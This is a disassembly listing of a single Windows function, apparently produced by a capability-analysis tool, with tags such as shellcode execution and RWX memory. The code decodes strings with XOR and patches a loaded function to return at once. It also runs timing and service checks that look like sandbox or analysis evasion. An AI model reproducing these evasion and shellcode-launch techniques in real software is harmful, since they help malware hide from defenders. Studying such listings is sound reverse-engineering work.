Function at 0x591a80
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Query service status
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x6c2da0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x64], 0
mov ecx, 0xe1
xor edx, edx
mov al, byte [edx + 0x68c3b0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x100], al
and ecx, 0x800000ff
jns 0x591ac1
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x18
jl 0x591aa1
push ebx
push esi
mov eax, 0x68c3cc
mov byte [ebp - 0xe8], 0
push edi
sub eax, 0x4680168
lea ecx, [ebp - 0xc4]
push eax
call fcn.00594cd0
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x100]
push ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0
push 4
lea ecx, [ebp - 0x64]
mov word [ebp - 0xbc], 0
push ecx
xorps xmm0, xmm0
mov byte [ebp - 0xe8], 0
push 9
push 0xfffffffffffffffe
movq qword [ebp - 0xc4], xmm0
movdqu xmmword [ebp - 0x100], xmm0
movq qword [ebp - 0xf0], xmm0
call eax
mov edi, dword [ebp - 0x64]
mov dword [ebp - 0x70], edi
cmp edi, 0x40000
je 0x592264
jmp 0x591bb1
mov ecx, 0x8e
xor edx, edx
jmp 0x591bc0
mov al, byte [edx + 0x68c400]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xa0], al
and ecx, 0x800000ff
jns 0x591be0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x16
jl 0x591bc0
mov eax, 0x68c418
mov byte [ebp - 0x8a], 0
sub eax, 0x1c1a80b4
lea ecx, [ebp - 0xb8]
push eax
call fcn.00594d50
lea ecx, [ebp - 0xa0]
push ecx
push eax
call ebx
push eax
call esi
xorps xmm0, xmm0
mov word [ebp - 0xb0], 0
movq qword [ebp - 0xb8], xmm0
movdqu xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0
mov word [ebp - 0x8c], 0
mov byte [ebp - 0x8a], 0
jmp 0x591cac
push 0
push 0
push 0x11
push 0xfffffffffffffffe
call eax
jmp 0x591d1c
push 0x30
lea eax, [ebp - 0x144]
push 0
push eax
call fcn.005bfb60
mov ebx, dword [ebp - 0x130]
add esp, 0xc
test ebx, ebx
jne 0x591d4d
mov eax, dword fs:[0x18]
mov edi, dword [ebp - 0x64]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
jmp 0x591d53
mov eax, dword [ebp - 0x140]
movdqu xmm1, xmmword [eax + 8]
movdqu xmm0, xmmword [eax - 8]
psrldq xmm1, 8
movdqu xmmword [ebp - 0x148], xmm0
movdqu xmm0, xmmword [eax + 0x18]
mov eax, dword [eax + 0x28]
movd ebx, xmm1
movdqu xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], eax
test ebx, ebx
je 0x591dde
mov ecx, dword [ebx + 0x3c]
xor esi, esi
movzx eax, word [ecx + ebx + 6]
movzx edx, word [ecx + ebx + 0x14]
mov dword [ebp - 0x68], eax
test eax, eax
je 0x591d35
lea eax, [ecx + 0x24]
mov ecx, dword [ebp - 0x68]
add eax, ebx
add eax, edx
jmp 0x591db0
test dword [eax + 0x18], 0x20000000
je 0x591dd1
mov edx, dword [eax]
add edx, ebx
cmp edx, edi
ja 0x591dd1
mov ecx, dword [eax - 4]
add ecx, edx
cmp edi, ecx
jb 0x592258
mov ecx, dword [ebp - 0x68]
inc esi
add eax, 0x28
cmp esi, ecx
jb 0x591db0
jmp 0x591d35
jmp 0x591e44
jmp 0x591eaa
jmp 0x591f10
jmp 0x591f76
mov ecx, 0x99
xor edx, edx
lea ecx, [ecx]
mov al, byte [edx + 0x68c3e0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x114], al
and ecx, 0x800000ff
jns 0x591fa0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x10
jl 0x591f80
lea eax, [ebp - 0x114]
mov byte [ebp - 0x104], 0
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
test eax, eax
jne 0x592258
jmp 0x59202f
jmp 0x592095
jmp 0x5920fb
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 4
push edi
call esi
test eax, eax
je 0x5921f2
jmp 0x59217a
mov eax, dword [ebp - 0x70]
mov byte [eax], 0xc3
jmp 0x5921e6
lea ecx, [ebp - 0xc]
push ecx
push dword [ebp - 0xc]
push 4
push eax
call esi
jmp 0x592258
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [0x8855ac]
lea edx, [ebp - 0x6b]
push dword [0x8855a8]
mov dword [ebp - 0x6c], eax
lea ecx, [ebp - 0x6c]
lea eax, [ebp - 0x69]
push eax
lea eax, [ebp - 0x6a]
push eax
call fcn.00589e50
add esp, 0xc
cmp byte [ebp - 0x6c], 0
jne 0x5923d5
jmp 0x5922f8
mov ecx, 0x36
xor edx, edx
nop
mov al, byte [edx + str.dCTx_jX_K_3]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xe4], al
and ecx, 0x800000ff
jns 0x592320
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x1e
jl 0x592300
mov eax, 0x68c530
mov byte [ebp - 0xc6], 0
sub eax, 0x660068cd
lea ecx, [ebp - 0xac]
push eax
call fcn.00595130
lea ecx, [ebp - 0xe4]
push ecx
push eax
call ebx
push eax
call esi
xorps xmm0, xmm0
mov word [ebp - 0xa4], 0
push 0x591690
push 1
movq qword [ebp - 0xac], xmm0
movdqu xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xcc], 0
movq qword [ebp - 0xd4], xmm0
mov word [ebp - 0xc8], 0
mov byte [ebp - 0xc6], 0
call eax
push 0
push 0
push 0
push 0x58f020
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push dword [0x8855a8]
mov edx, 0x8855ad
mov byte [0x8855ac], 1
push 0x8855af
push 0x8855ae
mov ecx, 0x8855ac
call fcn.0058a180
add esp, 0xc
jmp 0x59243b
call 0x58efb0
jmp 0x5924a6
mov eax, dword [0x88559c]
lea edx, [ebp - 0x67]
push dword [0x885598]
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x65]
push eax
lea eax, [ebp - 0x66]
push eax
call fcn.00589e50
add esp, 0xc
cmp byte [ebp - 0x68], 0
jne 0x59295a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x592540
jmp 0x5925a6
lea ecx, [ebp - 0x24]
push ecx
push ecx
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
jmp 0x592620
mov ebx, dword [ebp - 0x18]
xor eax, eax
or eax, dword [ebp - 0x1c]
mov dword [ebp - 0x70], eax
jmp 0x592691
jmp 0x5926f7
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
jmp 0x592767
jmp 0x5927cd
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
jmp 0x592841
mov eax, dword [ebp - 0x10]
xor ecx, ecx
or ecx, dword [ebp - 0x14]
jmp 0x5928af
jmp 0x592915
push 0
push 0x2710
push eax
push ecx
call fcn.005c28e0
push 0
push 0x2710
push ebx
push dword [ebp - 0x70]
mov edi, eax
mov esi, edx
call fcn.005c28e0
sub edi, eax
push 0
push 0x3e8
sbb esi, edx
push esi
push edi
call fcn.005c28e0
test edx, edx
jne 0x592a55
cmp eax, 3
ja 0x592a55
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x592a42
mov edx, 0xbd
xor esi, esi
lea ebx, [ebx]
mov cl, byte [esi + 0x68c330]
xor cl, dl
inc edx
mov byte [ebp + esi - 0x88], cl
and edx, 0x800000ff
jns 0x5929a0
dec edx
or edx, 0xffffff00
inc edx
inc esi
cmp esi, 0xd
jl 0x592980
mov esi, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea eax, [ebp - 0x88]
push 0xf003f
push eax
push edi
mov byte [ebp - 0x7b], 0
call esi
mov dword [ebp - 0x80], 0
xorps xmm0, xmm0
movq qword [ebp - 0x88], xmm0
mov word [ebp - 0x7c], 0
test eax, eax
je 0x592a42
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
lea ecx, [ebp - 8]
push ecx
push 0x24
lea ecx, [ebp - 0x60]
mov dword [ebp - 8], 0
push ecx
push 0
push eax
call ebx
test eax, eax
je 0x592a42
cmp dword [ebp - 0x5c], 4
je 0x592a70
push 0xf003f
push 0x5a5e2037
lea ecx, [ebp - 0x78]
call fcn.00594aa0
push eax
push edi
call esi
mov esi, eax
xor eax, eax
mov dword [ebp - 0x78], eax
mov word [ebp - 0x74], ax
mov byte [ebp - 0x72], al
test esi, esi
je 0x592a42
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x60]
push eax
push 0
push esi
call ebx
test eax, eax
je 0x592a42
cmp dword [ebp - 0x5c], 4
je 0x592a64
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005bba53
mov esp, ebp
pop ebp
ret 0xc
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call fcn.005c4500
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call fcn.005c4500
int3